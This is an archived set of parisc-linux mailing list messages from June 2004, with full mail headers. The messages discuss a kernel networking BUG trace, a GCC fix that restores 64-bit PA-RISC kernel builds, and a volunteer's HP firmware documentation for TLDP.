	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20055-06; Mon, 21 Jun 2004 08:28:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A9503BDDD; Mon, 21 Jun 2004 08:26:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFD0B3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 08:26:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19792-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 08:26:56 -0600 (MDT)
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 932F43BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 08:26:49 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i5LEQdUG026577; Mon, 21 Jun 2004 10:26:39 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1BcPis-0000RP-00; Mon, 21 Jun 2004 10:24:34 -0400
Content-Disposition: inline
In-Reply-To: <20040621153015.596e4014.gmsoft@gentoo.org>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21760

On Mon, Jun 21, 2004 at 03:30:15PM +0200, Guy Martin wrote:
> skput:over: 10271684:194 put:138 dev:<NULL>kernel BUG at net/core/skbuff.c:88!
> Kernel addresses on the stack:

The fact that dev is NULL is kind of suspect. I'm not exactly sure, but
I do not think this is a PA-RISC bug. Perhaps netdev@oss.sgi.com could
be more helpful in debugging this.

>  [<10327bc0>] ip6_forward+0x1c4/0x434
>  [<10106138>] dump_stack+0x18/0x24
>  [<10271a4c>] i596_interrupt+0x930/0xdf0
>  [<10121a00>] activate_task+0x44/0xa8
>  [<104205b4>] start_kernel+0x4/0x1e4
>  [<101078ec>] do_irq+0x14c/0x154
>  [<102da778>] dev_watchdog+0x88/0xf4
>  [<10107ab4>] do_irq_mask+0xb4/0xcc
>  [<10129d34>] tasklet_action+0x78/0xe4
>  [<102377ec>] busdev_barked+0x3c/0x44
>  [<101078ec>] do_irq+0x14c/0x154
>  [<10102840>] __sched_text_end+0x44/0x48
>  [<101079f0>] do_cpu_irq_mask+0xfc/0x10c
>  [<101717a8>] may_open+0x58/0x1c8
>  [<1010c068>] intr_return+0x0/0x14
>  [<10112368>] cpu_idle+0x28/0x3c
>  [<101717a8>] may_open+0x58/0x1c8
>  [<10160c30>] dentry_open+0x154/0x238
>  [<101744b0>] locate_fd+0x154/0x190
>  [<104205b4>] start_kernel+0x4/0x1e4
>  [<10112378>] cpu_idle+0x38/0x3c
>  [<10420768>] start_kernel+0x1b8/0x1e4
> 

> KERNEL: assertion (!atomic_read(&skb->users)) failed at net/core/dev.c (1666)
> 
I think this is a symptom of the problem, afaict it does contribute.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]      Heads up, 2.6.7-pa0 FTBS with 64-bit toolchain
Date: Mon, 21 Jun 2004 12:36:21 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20040621163621.GG16360@baldric.uwo.ca>
References: <200406200029.i5K0T1re007012@hiauly1.hia.nrc.ca>
	<200406200114.i5K1ESYp007238@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623485 10043 80.91.229.3 (22 Nov 2014 02:31:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9524 invoked by uid 65534); 21 Jun 2004 16:36:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 21 Jun 2004 18:36:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E7BC03BDED; Mon, 21 Jun 2004 10:36:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21886-01; Mon, 21 Jun 2004 10:36:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 31DE23BDF1; Mon, 21 Jun 2004 10:36:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38DD13BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 10:36:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21532-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 10:36:31 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id D13603BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 10:36:30 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BcRmQ-00041p-00; Mon, 21 Jun 2004 12:36:22 -0400
Content-Disposition: inline
In-Reply-To: <200406200114.i5K1ESYp007238@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (77% Sync Ratio [========..])
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21761

On Sat, Jun 19, 2004 at 09:14:28PM -0400, John David Anglin wrote:
> > I believe that I understand the cause of this bug and have started
> > testing a fix.
> 
> Enclosed is the patch that I am testing.  It seems to generated reasonable
> code for the testcase that Carlos submitted today.  As far as I can tell,
> the bug has been present in the FSF sources since the first support for
> the 64-bit port (3.0 branch).  Thus, I expect the bug is present in debian
> 3.0.4, just not triggered.  The bug is triggered by the loop optimizer.
> 
> I would be interested in hearing if this solves the kernel build problem.
> The patch is for 3.5.  It might need a bit of hacking to apply it to
> earlier branches.

I re-read the last email about "bugs getting fixed if you show that the
community has interest", so I simplified randolph's bug down to a simple
structure alignment issue with two structures :) I'm glad to see that
was of some help in clarifying the bug.

I also estatic that you fixed this bug, it means I can start compiling
64-bit kernels again.

Kudos to Matthias for the hppa64-linux-gcc debs :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@engsoc.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]      Heads up, 2.6.7-pa0 FTBS with 64-bit toolchain
Date: Mon, 21 Jun 2004 13:27:37 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040621172737.GC28438@engsoc.org>
References: <200406200029.i5K0T1re007012@hiauly1.hia.nrc.ca>
	<200406200114.i5K1ESYp007238@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623486 10047 80.91.229.3 (22 Nov 2014 02:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16792 invoked by uid 65534); 21 Jun 2004 17:30:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 21 Jun 2004 19:30:08 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 34FD03BDDD; Mon, 21 Jun 2004 11:30:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22456-03; Mon, 21 Jun 2004 11:30:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3F84F3BDED; Mon, 21 Jun 2004 11:29:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A69E33BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 11:29:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22384-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 11:29:48 -0600 (MDT)
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 4CE733BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Jun 2004 11:29:48 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i5LHTiUG009052; Mon, 21 Jun 2004 13:29:44 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1BcSa1-0003xc-00; Mon, 21 Jun 2004 13:27:37 -0400
Content-Disposition: inline
In-Reply-To: <200406200114.i5K1ESYp007238@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21762

On Sat, Jun 19, 2004 at 09:14:28PM -0400, John David Anglin wrote:
> I would be interested in hearing if this solves the kernel build problem.
> The patch is for 3.5.  It might need a bit of hacking to apply it to
> earlier branches.
> 
Aye, it fixes the kernel compile! Hooray!

(I built 2.6.7-pa1 successfully on my c3000 with it, at least, building
SMP now to double check, and haven't booted)

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Greg Porter" <gporter@tcsn.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: An HP doc for TLDP
Date: Tue, 22 Jun 2004 18:22:36 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <001a01c458c0$949e1650$df6ddacf@athlon>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623486 10050 80.91.229.3 (22 Nov 2014 02:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:26 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19284 invoked by uid 65534); 23 Jun 2004 01:23:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 23 Jun 2004 03:23:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 70BCC3BDCB; Tue, 22 Jun 2004 19:23:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07837-08; Tue, 22 Jun 2004 19:23:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EF1CD3BDDB; Tue, 22 Jun 2004 19:22:38 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 375B43BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 19:22:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07837-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 19:22:35 -0600 (MDT)
Original-Received: from norbert.tcsn.net (norbert.tcsn.net [206.190.91.5])
	by free.linux.hp.com (Postfix) with ESMTP id E2D8D3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 19:22:34 -0600 (MDT)
Original-Received: from athlon (psrb-ppp2-223.tcsn.net [207.218.109.223])
	by norbert.tcsn.net (8.12.9/8.12.10) with ESMTP id i5N1MXhZ062820
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 18:22:33 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21763

Hi, I noticed that linux documentation regarding Hewlett Packard unix
server hardware (PA-RISC) is lacking.=A0 I recently taught myself =
DocBook,
and have started documenting some specifics of HP hardware.=A0=20
=A0
For example, I recently documented HP server firmware with DocBook,
please see http://www.porterdavis.org/computing/hp_boot/ for an
example.=A0=20
=A0
The next rev of the document will have a section on updating the
firmware as well.  This may be of use to you.

Keep up the good work!

Regards,
=A0
Greg

P.S.  The Linux Documentation Project people are considering whether to
accept this as a TLDP document.
=A0
=A0
=A0
=A0

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: An HP doc for TLDP
Date: Wed, 23 Jun 2004 10:27:43 +0300
Lines: 48
Approved: news@gmane.org
Message-ID: <20040623082743.98CD33658C0@mail.esiee.fr>
References: <20040623051909.GD27085@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623486 10051 80.91.229.3 (22 Nov 2014 02:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:26 +0000 (UTC)
Cc: Greg Porter <gporter@tcsn.net>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17488 invoked by uid 65534); 23 Jun 2004 14:02:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 23 Jun 2004 16:02:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B4FDE3BDDB; Wed, 23 Jun 2004 02:28:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11779-03; Wed, 23 Jun 2004 02:28:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6B4BE3BDE1; Wed, 23 Jun 2004 02:27:49 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1D723BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Jun 2004 02:27:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10764-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Jun 2004 02:27:45 -0600 (MDT)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id 732D53BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Jun 2004 02:27:45 -0600 (MDT)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 086C03658C1;
	Wed, 23 Jun 2004 10:27:44 +0200 (CEST)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.16) id 29960-02FDC839;
	Wed, 23 Jun 2004 10:27:44 +0200
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 98CD33658C0;
	Wed, 23 Jun 2004 10:27:43 +0200 (CEST)
X-Originating-IP: [159.50.101.8]
User-Agent: IMHO/0.99 (Webmail for Roxen)
In-Reply-To: <20040623051909.GD27085@colo.lackof.org>
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.25.0.62;
	VDF: 6.25.0.106; host: mail.esiee.fr)
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21764

-------------------
> On Tue, Jun 22, 2004 at 06:22:36PM -0700, Greg Porter wrote:

[...]
>=20
> > For example, I recently documented HP server firmware with
DocBook,
> > please see http://www.porterdavis.org/computing/hp_boot/ for an
> > example.
>=20
> You *really* want to have those sections reviewed by other
volunteers
> before submitting them to TLDP.

This look much to me like a copy paste of the help menus of the BCH.
Maybe you want to have a look here:
http://www.pateam.org/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/index
.html

Sections 3, 4 and 5.

FYI, that howto is on TLDP, and will probably be slightly updated
soon.

>=20
> Here are some example comments from ch02 at:
> 	http://www.porterdavis.org/computing/hp_boot/ch02.html
>=20
> | Getting a PDC prompt
>=20
> You skipped console setup. things like how to setup a serial console
> vs graphical, disconnecting Keyboard/mouse to force serial console,
> <TAB>-key at poweron, etc.

Everything which is properly documented in the above mentionned howto.

HTH,


Thibaut VARENE
PA/Linux ESIEE Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: An HP doc for TLDP
Date: Wed, 23 Jun 2004 12:41:23 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20040623114123.GC20511@parcelfarce.linux.theplanet.co.uk>
References: <001a01c458c0$949e1650$df6ddacf@athlon>
	<20040623051909.GD27085@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623486 10055 80.91.229.3 (22 Nov 2014 02:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:26 +0000 (UTC)
Cc: Greg Porter <gporter@tcsn.net>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19300 invoked by uid 65534); 23 Jun 2004 14:36:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 23 Jun 2004 16:36:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 084133BDE1; Wed, 23 Jun 2004 05:44:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13439-03; Wed, 23 Jun 2004 05:43:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A5E2F3BDE8; Wed, 23 Jun 2004 05:41:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35BE03BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Jun 2004 05:41:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
